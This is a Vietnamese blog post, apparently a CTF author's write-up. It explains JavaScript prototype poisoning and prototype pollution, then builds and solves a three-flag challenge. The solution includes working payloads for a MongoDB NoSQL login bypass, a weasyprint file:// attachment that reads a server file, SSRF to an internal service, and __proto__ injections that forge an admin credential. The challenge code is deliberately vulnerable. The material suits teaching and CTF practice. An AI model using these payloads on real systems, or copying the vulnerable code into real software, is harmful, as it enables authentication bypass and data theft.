# Thiết kế đề CTF cho web hacking technique mới 🤔 <style>body {text-align: justify}</style> Trong bài này, mình sẽ phân tích 2 Prototype bugs bao gồm Prototype Poisoning và Pototype Pollution dựa theo bài blog sau: [**What is prototype poisoning? Prototype bugs explained!**](https://www.jerkeby.se/newsletter/posts/prototype-poisoning/). Từ đó, mình sẽ xây dựng 1 bài CTF liên quan kết hợp với các lỗ hổng khác. ## 1. Nghiên cứu Poisoning Poisoning và Poisoning Pollution Bài blog chỉ đơn giản nói về lỗi cơ bản của Poisoning Poisoning và Poisoning Pollution. Bài phân tích chỉ tập trung vào JSON input khi server sử dụng hàm `JSON.parse()`. Có 2 điểm mấu chốt chính cần lưu ý (Mình sử dụng tiếng anh ở phần này cho dễ trình bày): ### 1.1 JSON.parse's quirk with `__proto__` `JSON.parse()`, when passed properly formed JSON, will always produce plain JavaScript objects with Object.prototype as their prototype, even in the depths of a deeply nested object. This means that even if `__proto__` appears in the JSON, this will produce a new property on the object called `__proto__` rather than setting the object's prototype, as it ordinarily would in JavaScript. **Example:** ```javascript const plainObj = { __proto__: { a: 1 }, b: 2 }; // The plain object's prototype is what was assigned inline. console.log(plainObj.__proto__.a === 1); // true const plainObjProto = Object.getPrototypeOf(plainObj); console.log(plainObjProto !== Object.prototype); // true console.log(plainObjProto.a === 1); // true const jsonString = `{ "__proto__": { "a": 1 }, "b": 2 }`; const parsedObj = JSON.parse(jsonString); // The parsed object has a property called __proto__, overriding the __proto__ getter and setter, but its prototype is still Object.prototype. console.log(parsedObj.__proto__.a === 1); // true const parsedObjProto = Object.getPrototypeOf(parsedObj); console.log(parsedObjProto !== Object.prototype); // false console.log(parsedObjProto.a === 1); // false ``` ### 1.2 Differences between Poisoning Poisoning and Poisoning Pollution Both techniques refer to a feature in JS called *Prototype Mutation*. <table style="margin-top: -10em"> <thead> <tr> <th></th> <th colspan=2 style="text-align: center">Prototype Mutation</th> </tr> </thead> <tbody> <tr style="text-align: center"> <td></td> <td><b>Prototype Poisoning</b></td> <td><b>Prototype Pollution</b></td> </tr> <tr style="text-align: center"> <td><b>Attack vector</b></td> <td colspan=2>The same</td> </tr> <tr> <td style="text-align: center"><b>Impact</b> </td> <td> - Only affect the input object and children that inherit its prototype. - Parent object prototypes are immutable.</td> <td> Affect the parent Object prototype by chaining multiple `__proto__`</td> </tr> <tr> <td style="text-align: center"><b>Cause</b> </td> <td>Assign properties from a source object to a target object using *Object.assign()*</td> <td>Recursive merge</td> </tr> </tbody> </table> ## 2. Ra đề CTF Dựa vào phân tích trên về Prototype Poisoning và Prototype Pollution ở dạng JSON, mình thực hiện ra đề CTF ở mức độ Medium, tương đương khoảng 400 điểm trên thang 500. Source code sẽ được cung cấp trong quá trình làm challenge. ### 2.1 Ý tưởng và hiện thực hóa Ứng dụng bao gồm các chức năng như sau: - Đăng nhập. - Convert từ file HTML thành PDF thông qua URL. - Log IP của user và thời gian thực hiện convert file. Workflow của ứng dụng dạng như sau: - **Bước 1:** User đăng nhập thông qua form login. - **Bước 2:** Sau khi login thành công, chức năng converter cho phép user cung cấp URL chứa file HTML cần chuyển đổi sang PDF. Sau đó, một request tự động gửi đến service logger ở backend để log thông tin. **Ý tưởng:** Bài CTF này có 3 flag trên 2 service (container), kết hợp sử dụng các lỗ hổng khác nhau để lấy được flag, trong đó có Prototype Poisoning và Prototype Pollution. - **Flag 1:** nằm ở service `public` viết bằng Flask, expose port ra ngoài. - Attacker sẽ sử dụng các kĩ thuật [NoSQL injection](https://book.hacktricks.xyz/pentesting-web/nosql-injection) để bypass login, cụ thể là MongoDB. - Sau đó tạo 1 file HTML tận dụng lỗi [Server-side XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf) khi generate PDF để đọc file flag. - **Flag 2 và flag 3:** nằm ở service `logger` viết bằng NodeJS và không expose port ra ngoài (chỉ có local admin truy cập được). Ta sẽ tận dụng lỗi SSRF tại input URL ở chức năng converter để truy cập service `logger`. - **Flag 2:** Endpoint `/admin-logs` cho phép lưu log và trả về flag nếu log đó đến từ admin của service `public` trên, được xác định qua thuộc tính `log.from_admin`. Mặc dù trong object `log` ban đầu không định nghĩa thuộc tính `from_admin`, tuy nhiên vì endpoint này bị dính Prototype Poisoning khi sử dụng hàm `Object.assign()` để gán log mới (thông qua GET param) vào object `log` ban đầu &rarr; poisoning thuộc tính `from_admin` tại object `log`. - **Flag 3:** Endpoint `/logs` bị dính Prototype Pollution vì sử dụng hàm merge đệ quy để thêm log mới vào thông qua GET param. Mặt khác, tại service này cũng có chức năng xem flag tại `/flag` nếu đó là admin của service được xác định qua `is_admin`. Các credential của service này được lưu vào 1 object &rarr; sử dụng Prototype Pollution ở chức năng `/logs` để thêm một credential bất kì với biến `is_admin: true` &rarr; đọc flag. ### 2.3 Cách giải Giao diện trang web: ![](https://i.imgur.com/5TTVxSo.png) #### 2.3.1 Flag 1 Trang web có chức năng `/login`. Hiện tại trong ứng dụng chỉ có một user `admin` với password random. ![](https://i.imgur.com/oa9PpB1.png) Tìm trong source code, ta thấy xuất hiện đoạn xử lí khi đăng nhập. Cụ thể server dùng MongoDB làm CSDL dạng NoSQL cho ứng dụng. Tuy nhiên khi trích xuất các tham số `username` và `password` từ request, server không thực hiện bất kì bước validate hay sanitize nào mà dùng chúng trực tiếp trong phần query thông qua hàm `find()` &rarr; NoSQL injection. ```python def login_page(): ... data = request.json if "username" in data.keys() and "password" in data.keys(): login_cred = {"username": data["username"], "password": data["password"]} find_cred = dict() for i in tab.find(login_cred): find_cred = i break ... ``` Bắt request và đăng nhập bằng payload như sau: ``` { "username":"admin", "password":{ "$ne": "1" } } ``` Lúc này, câu query tương đương trong SQL sẽ dạng: ``` SELECT * FROM users WHERE username="admin" and password!="1" ``` Câu query trên luôn đúng &rarr; bypass login. ![](https://hackmd.io/_uploads/HkoDSAXN2.png) Sau khi login, ta thấy ứng dụng có thêm chức năng converter. ![](https://i.imgur.com/a6CYxtB.png) Chức năng `/converter` sử dụng thư viện `weasyprint` để convert HTML thành PDF file thông qua URL input. ![](https://hackmd.io/_uploads/SkFFwCXEn.png) Có thể thấy chức năng này dính lỗ hổng server-side XSS khi có thể dùng tag `<link>` để load local file từ server. Tạo file HTML `index.html` sau attach file `/tmp/flag.txt` (đọc Dockerfile). ``` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Flag hunter</title> <link rel=attachment href="file:///tmp/flag.txt"> </head> <body> <h1>Looking for the flag 😵</h1> </body> </html> ``` Tại thư mục chứa file HTML trên, lắng nghe http request ở port 10101. ``` D:> python3 -m http.server 10101 ``` Điền URL `http://<DOCKER_GATEWAY>:10101/`, ta generate được file PDF có attachment là file `/tmp/flag.txt`. ![](https://hackmd.io/_uploads/rkLO_RXVn.png) ![](https://hackmd.io/_uploads/SkD9dA743.png) Download file PDF và sử dụng PDF editor để xem nội dung file `flag.txt`. ![](https://hackmd.io/_uploads/S198KRXEh.png) **Flag 1: VCS{p00r_n0SQL_inj3cti0n}** #### 2.3.2 Flag 2 Ta thấy chức năng `/converter` chỉ đơn giản validate xem scheme từ URL input phải là `http` hoặc `https` &rarr; SSRF. ```python @app.route("/converter", methods=["GET", "POST"]) def converter_page(): ... else: data = request.json if "url" in data.keys(): url = data["url"] if urlparse(url).scheme.lower() not in ["http", "https"]: result = {"status": 403, "msg": "You can only use http or https."} else: filename = hashlib.sha256(os.urandom(16)).hexdigest() start_time = str(datetime.datetime.now()) HTML(url).write_pdf(f"static/output/{filename}.pdf") ... ... ``` Như vậy ta có thể SSRF service `logger` bằng URL `http://logger:8000`. Tại service `logger`, xuất hiện lỗ hổng Prototype Poisoning tại endpoint `/admin-logs` khi sử dụng `Object.assign()` và `JSON.parse()` user input qua param `logs`. ```javascript app.get("/admin-logs", (req, res)=>{ try { let new_logs = { "ip": null, "time": null }; returnedTarget = Object.assign(new_logs, JSON.parse(req.query.logs)); logs.push(new_logs); if(new_logs.from_admin == true){ return res.json({result: true, msg: FLAG1}); } return res.json({result: true}); } catch { return res.json({result: false}); } }); ``` Gửi request với URL: `http://logger:8000/admin-logs?logs={"__proto__":{"from_admin": 1}}`. Khi đó `new_logs` sẽ được gán thuộc tính `from_admin` có giá trị `true`. ![](https://hackmd.io/_uploads/SJadsyV4h.png) Xem file PDF được generate và ta lấy được flag. ![](https://hackmd.io/_uploads/ryYqikVNh.png) **Flag 2: VCS{pr0t0typ3_p0is0nin9_1s_e4sY!}** #### 2.3.2 Flag 3 Đối với flag 3, service `logger` có endpoint `/flag` trả về flag nếu là user `is_admin: true` của service này. ```javascript app.get("/flag", (req, res)=>{ if(req.query.username != null && req.query.password != null) { let username = req.query.username; let password = req.query.password; if(creds[username] != null && creds[username].password == password) { if(creds[username].is_admin == true){ return res.json({result: true, msg: FLAG2}); } else { return res.json({result: true, msg: "nothing for you ^^"}); } } return res.json({result: false}); } return res.json({result: false}); }); ``` Các credentials được lưu vào object `creds`, và hiện tại chỉ user `admin` nhưng password đã bị ẩn. ``` const creds = { "admin": { "password": process.env.ADMINPW, "is_admin": true } }; ``` Tuy nhiên, để ý tại endpoint `/logs` xảy ra lỗi prototype pollution với `JSON.parse()` khi sử dụng hàm merge đệ quy để lưu log mới. ```javascript app.get("/logs", (req, res)=>{ try { let new_logs = { "ip": null, "time": null }; merge(new_logs, JSON.parse(req.query.logs)); logs.push(new_logs); return res.json({result: true}); } catch { return res.json({result: false}); } }); ``` Lợi dụng điều đó, ta sẽ "tạo" thêm 1 credential mới có giá trị `username=hacker`, `password=pwned` và `is_admin=1` bằng URL sau: `http://logger:8000/logs?logs={"__proto__":{"hacker": {"password": 'pwned', 'is_admin": 1}}}` ![](https://hackmd.io/_uploads/BJtL3y4Vh.png) Gửi request, lúc này ta đã pollute thành công và có thể sử dụng credential vừa tạo để lấy flag. Convert bằng URL `http://logger:8000/flag?username=hacker&password=pwned`. ![](https://hackmd.io/_uploads/rJCTleEN3.png) Response trả về được convert qua PDF và ta lấy được flag. ![](https://hackmd.io/_uploads/rJw1WgE43.png) **Flag 3: VCS{pr0t0typ3_p0lluT10n_1s_e4sY_t00!}** ###### tags: `research`, `ctf`, `prototype-poisoning`, `prototype-pollution`